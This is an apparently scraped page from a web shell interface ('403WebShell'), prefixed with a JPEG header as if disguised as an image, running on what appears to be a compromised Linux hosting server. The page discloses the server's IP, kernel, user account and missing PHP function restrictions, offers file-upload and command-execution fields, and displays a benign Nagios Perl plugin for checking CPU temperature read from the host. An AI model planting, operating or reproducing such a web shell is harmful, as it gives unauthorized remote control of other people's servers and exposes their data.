����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 3.149.249.124
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib64/nagios/plugins/base/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib64/nagios/plugins/base/check_cpu_temp
#!/usr/bin/env perl

use strict;
use warnings;

use Getopt::Long;

my $sensors        = '/usr/bin/sensors';
my $sensors_detect = '/usr/sbin/sensors-detect';

my %E_STATE = (
    'OK'       => 0,
    'WARNING'  => 1,
    'CRITICAL' => 2,
    'UNKNOWN'  => 3,
);
my ( $warning, $critical, $sudo, $help );
GetOptions(
    'w|warning=i'    => \$warning,
    'c|critical=i'   => \$critical,
    'sensors'        => \$sensors,
    'sensors-detect' => \$sensors_detect,
    's|sudo'         => \$sudo,
    'h|help'         => \$help,
);
return usage() if $help;

sub usage {
    print <<"END_USAGE";
Usage:
    $0 [ options ]

Options:
    -w|--warning     - WARNING_CPU_TEMP. Default value
    -c|--critical    - CRITICAL_CPU_TEMP
    -s|--sudo        - Use sudo for sensors and sensors-detect commands
    -h|--help        - this help information

    --sensors        - Set path to sensors util. Default /usr/sbin/sensors
    --sensors-detect - Set path to sensors-detect util. Default /usr/sbin/sensors-detect

    WARNING_CPU_TEMP  - default value from sensors output, if not def = 80;
    CRITICAL_CPU_TEMP - default value from sensors output, if not def = 100;

    Plugin depends from lm_sensors package.
END_USAGE
    exit $E_STATE{'UNKNOWN'};
}

# validate args and prepare data
if ( $> and !$sudo ) {
    print "you are not root\n";
    exit $E_STATE{'UNKNOWN'};
}
my $no_bin;
if ( !-X $sensors ) {
    $no_bin .= "sensors not found, please set path to sensors\n";
}
if ( !-X $sensors_detect ) {
    $no_bin .= "sensors-detect not found, please set path to sensors-detect\n";
}
if ($no_bin){
    print "$no_bin\n";
    usage();
}
my $exit_status       = 'OK';
my $status_string     = '';
my $perfdata_string   = '';

my $reg_t  = qr/\+([\d\.]+)/;
my $reg_dg = qr/\xc2\xb0C/;
my $reg    = qr/$reg_t$reg_dg\s+?(\(high\s=\s$reg_t$reg_dg,\s+crit\s=\s$reg_t$reg_dg\))/;

sub return_status {
    my $request_status = shift;
    if ( $request_status eq 'WARNING' ) {
        return if $exit_status eq 'CRITICAL';
    }
    if ( $request_status eq 'UNKNOWN' ) {
        return if $exit_status eq 'WARNING';
        return if $exit_status eq 'CRITICAL';
    }
    $exit_status = $request_status;
}
sub make_sensors_conf {
    system "echo -e | sudo $sensors_detect > /dev/null";
}

# sensors | grep "°C" | sed -r 's/:[ ]+[+]?([0-9.]+)°C.*$/=\1/;s/ /_/g;
my @sensors_data = `$sensors | grep "°C\\|coretemp-isa"`;
if (!grep { /^(Physical|Core)/ } grep {/$reg/} @sensors_data){
    if ( -f '/etc/sysconfig/lm_sensors' ){
        my $conf = `cat /etc/sysconfig/lm_sensors`;
        if ($conf =~ m/Run sensors-detect to generate this config file/) {
            make_sensors_conf;
            @sensors_data = `$sensors | grep "°C\\|coretemp-isa"`;
        }
        elsif (!$sudo) {
            system 'mv /etc/sysconfig/lm_sensors{,.bkp}';
            make_sensors_conf;
            @sensors_data = `$sensors | grep "°C\\|coretemp-isa"`;
            system 'mv /etc/sysconfig/lm_sensors{.bkp,}';
        }
    }
    else{
        make_sensors_conf;
        @sensors_data = `$sensors | grep "°C\\|coretemp-isa"`;
    }
}

my %cpus;
my $cpu = 0;
for my $line ( @sensors_data ){
    my ($name, $data);
    ($name, $data) = split /:\s+/, $line;
    $name =~ s/\s+//g;

    $cpu = sprintf("%d", $1)
      if $line =~ m/coretemp-isa-/
      && $line =~ m/(\d+)$/;

    next if $name !~ m/^\s?(Physical|Core)/;

    if ( $cpus{$cpu}{$name} ){
        foreach my $cp (sort keys %cpus){
            if ($cpus{$cp}{$name}){
                $cpu ++;
                last;
            }
        }
    }
    $cpus{$cpu}{$name} = 1;

    my ($temp, $crit, $warn);
    $data =~ $reg;
    ($temp, $warn, $crit) = ( int $1, int $3, int $4);
    $warning  = $warning  ? $warning  :
      defined $warn ? $warn : 80;
    $critical = $critical ? $critical :
      defined $crit ? $crit : 100;

    $name = "cpu$cpu.". lc $name;
    $perfdata_string .= "$name=$temp;$warning;$critical;; ";
    if ( $temp >= $critical ){
        $status_string .= "$name: temperature $temp is critical\n";
        return_status('CRITICAL');
    }
    elsif ( $temp >= $warning ){
        $status_string .= "$name: temperature $temp is warning\n";
        return_status('WARNING');
    }
}

print "$exit_status";
print ": \n$status_string" if $status_string;
print "|$perfdata_string\n";
exit $E_STATE{$exit_status};

1;

Youez - 2016 - github.com/yon3zu
LinuXploit